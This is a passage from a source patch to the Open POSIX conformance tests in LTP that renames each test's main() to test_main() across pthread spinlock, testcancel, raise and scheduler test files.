--- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_destroy/3-1.c @@ -48,7 +48,7 @@ static void *fn_chld(void *arg PTS_ATTRIBUTE_UNUSED) exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t child_thread; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/1-1.c index 00937989..abe874c9 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/1-1.c @@ -28,7 +28,7 @@ static pthread_spinlock_t spinlock; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; int pshared; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c index f20822c5..3f6fd1e3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-1.c @@ -37,7 +37,7 @@ static struct shmstruct { int data; } *spinlock_data; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { /* Make sure there is process-shared capability. */ diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c index df0d4df8..33318126 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/2-2.c @@ -44,7 +44,7 @@ static struct shmstruct { int data; } *spinlock_data; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pshared; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/4-1.c index f454290c..8909bf92 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_init/4-1.c @@ -49,7 +49,7 @@ static void *fn_chld(void *arg PTS_ATTRIBUTE_UNUSED) exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; pthread_t child_thread; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-1.c index 7e8824ba..e7dea02b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-1.c @@ -96,7 +96,7 @@ static void *fn_chld(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t child_thread; void *value_ptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-2.c index 10c7961f..3a8cfcc7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/1-2.c @@ -67,7 +67,7 @@ static void *fn_chld(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-1.c index 3c3e7154..62cb4f00 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-1.c @@ -31,7 +31,7 @@ static void sig_handler() pthread_exit((void *)PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; pthread_spinlock_t spinlock; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-2.c index 8de3b433..1f398a9c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_lock/3-2.c @@ -39,7 +39,7 @@ static void sig_handler() exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_spinlock_t spinlock; struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/1-1.c index 00a1a227..d7e1718c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/1-1.c @@ -73,7 +73,7 @@ static void *fn_chld(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t child_thread; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/4-1.c index 995e8ca8..34c9440b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_trylock/4-1.c @@ -22,7 +22,7 @@ #include <string.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_spinlock_t spinlock; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c index 0a912567..ee4ce0d1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-1.c @@ -63,7 +63,7 @@ static void *fn_chld(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-2.c index 43f75e45..73bd49c0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/1-2.c @@ -68,7 +68,7 @@ static void *fn_chld(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int cnt = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/3-1.c index 0a52cd8f..08531fb7 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_spin_unlock/3-1.c @@ -74,7 +74,7 @@ static void *fn_chld(void *arg) return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; pthread_t child_thread; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_testcancel/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_testcancel/1-1.c index 196c8404..a379f3d1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_testcancel/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_testcancel/1-1.c @@ -13,7 +13,7 @@ * Test when a thread is PTHREAD_CANCEL_DEFERRED * * STEPS: - * 1. Setup a mutex and lock it in main() + * 1. Setup a mutex and lock it in test_main() * 2. Create a thread. * 3. In the thread function, set the type to PTHREAD_CANCEL_DEFERRED * 4. Setup a cleanup handler for the thread. @@ -58,11 +58,11 @@ static void *a_thread_func() pthread_cleanup_push(a_cleanup_func, NULL); - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Lock the mutex. It should have already been locked in main, so the thread - * should block. */ + /* Lock the mutex. It should have already been locked in test_main, + * so the thread should block. */ if (pthread_mutex_lock(&mutex) != 0) { perror("Error in pthread_mutex_lock()\n"); pthread_exit((void *)PTS_UNRESOLVED); @@ -83,7 +83,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_testcancel/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_testcancel/2-1.c index d63af5bf..bc435dd4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_testcancel/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_testcancel/2-1.c @@ -38,11 +38,11 @@ static void *a_thread_func() cancel_flag = -1; - /* Indicate to main() that the thread has been created. */ + /* Indicate to test_main() that the thread has been created. */ sem1 = INMAIN; - /* Wait until main() has sent out a cancel request, meaning until it - * sets sem1==INTHREAD. */ + /* Wait until test_main() has sent out a cancel request, meaning until + * it sets sem1==INTHREAD. */ while (sem1 == INMAIN) sleep(1); @@ -58,7 +58,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/1-1.c index eae549ee..d3ccc2e6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/1-1.c @@ -29,7 +29,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/1-2.c index 474e85a1..2b1bd224 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/1-2.c @@ -44,7 +44,7 @@ static void childhandler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction parentact; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/10000-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/10000-1.c index c41c89fb..321dca57 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/10000-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/10000-1.c @@ -56,7 +56,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("Caught signal being tested!\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int i; int failure = 0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/2-1.c index 005f46a4..eccaae04 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/2-1.c @@ -43,7 +43,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) globalStatus = LEAVINGHANDLER; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/4-1.c index 1a6ebb23..b3877475 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/4-1.c @@ -34,7 +34,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(0); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sigaction act; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/6-1.c index 512dce8f..1125765a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/6-1.c @@ -17,7 +17,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (raise(10000) == 0) { printf("Incorrectly returned 0\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/7-1.c index 96985b6f..c0d0a785 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/raise/7-1.c @@ -18,7 +18,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { if (raise(10000) == 0) { printf("Incorrectly returned 0\n"); diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-1.c index 1115bf5a..b09ec4e2 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-1.c @@ -16,7 +16,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-2.c index 446a0d0e..b1a7c6bd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-2.c @@ -16,7 +16,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-3.c index 092c47b6..7acf9b07 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-3.c @@ -19,7 +19,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1)||defined(_POSIX_THREAD_SPORADIC_SERVER)&&(_POSIX_THREAD_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; @@ -37,7 +37,7 @@ int main(void) return PTS_FAIL; } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-4.c index 25efb95c..8b94a921 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/1-4.c @@ -16,7 +16,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/2-1.c index fee605db..1dc899a4 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_max/2-1.c @@ -15,7 +15,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-1.c index 94d8dd92..43814793 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-1.c @@ -16,7 +16,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-2.c index 775ec73a..bdc95297 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-2.c @@ -16,7 +16,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-3.c index 405c3f38..d33cba9f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-3.c @@ -19,7 +19,7 @@ #if defined(_POSIX_SPORADIC_SERVER)&&(_POSIX_SPORADIC_SERVER != -1)||defined(_POSIX_THREAD_SPORADIC_SERVER)&&(_POSIX_THREAD_SPORADIC_SERVER != -1) -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; @@ -37,7 +37,7 @@ int main(void) return PTS_FAIL; } #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support SS (SPORADIC SERVER)\n"); return PTS_UNSUPPORTED; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-4.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-4.c index 1bfd17e4..51fa309b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-4.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/1-4.c @@ -16,7 +16,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/2-1.c index 54a6ab1b..6b3343a6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_get_priority_min/2-1.c @@ -15,7 +15,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/1-1.c index 3bbcef8d..c343b936 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/1-1.c @@ -17,7 +17,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sched_param param; int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/2-1.c index d7658e1f..e4a77432 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/2-1.c @@ -17,7 +17,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sched_param param0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/3-1.c index 378cadae..15895d14 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/3-1.c @@ -15,7 +15,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sched_param param; int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/4-1.c index 9c594ad0..a4601b56 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/4-1.c @@ -21,7 +21,7 @@ #include <sys/wait.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/6-1.c index 9bd01a66..97a27b5a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/6-1.c @@ -67,7 +67,7 @@ static int set_nonroot() return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct sched_param param; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/speculative/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/speculative/7-1.c index ab1eae7a..1f71078f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/speculative/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getparam/speculative/7-1.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/1-1.c index 7eebaff7..03f940e8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/1-1.c @@ -17,7 +17,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result0 = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/3-1.c index a5bd452f..b8dda80e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/3-1.c @@ -40,7 +40,7 @@ static struct unique { 0, 0} }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; struct unique *tst; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/4-1.c index fa9eaf0e..f824bc9e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/4-1.c @@ -16,7 +16,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/5-1.c index a5d0e8c0..e67e474c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/5-1.c @@ -21,7 +21,7 @@ #include <sys/wait.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1, child_pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/7-1.c index 7d0e500e..6aef9800 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_getscheduler/7-1.c @@ -50,7 +50,7 @@ static int set_nonroot(void) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/1-1.c index e7a1e846..6dd9059e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/1-1.c @@ -19,7 +19,7 @@ #include <unistd.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec interval0; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/2-1.c index 5dedf1f6..cfd5f2a8 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/sched_rr_get_interval/2-1.c @@ -17,7 +17,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec interval; int result = -2; diff --git 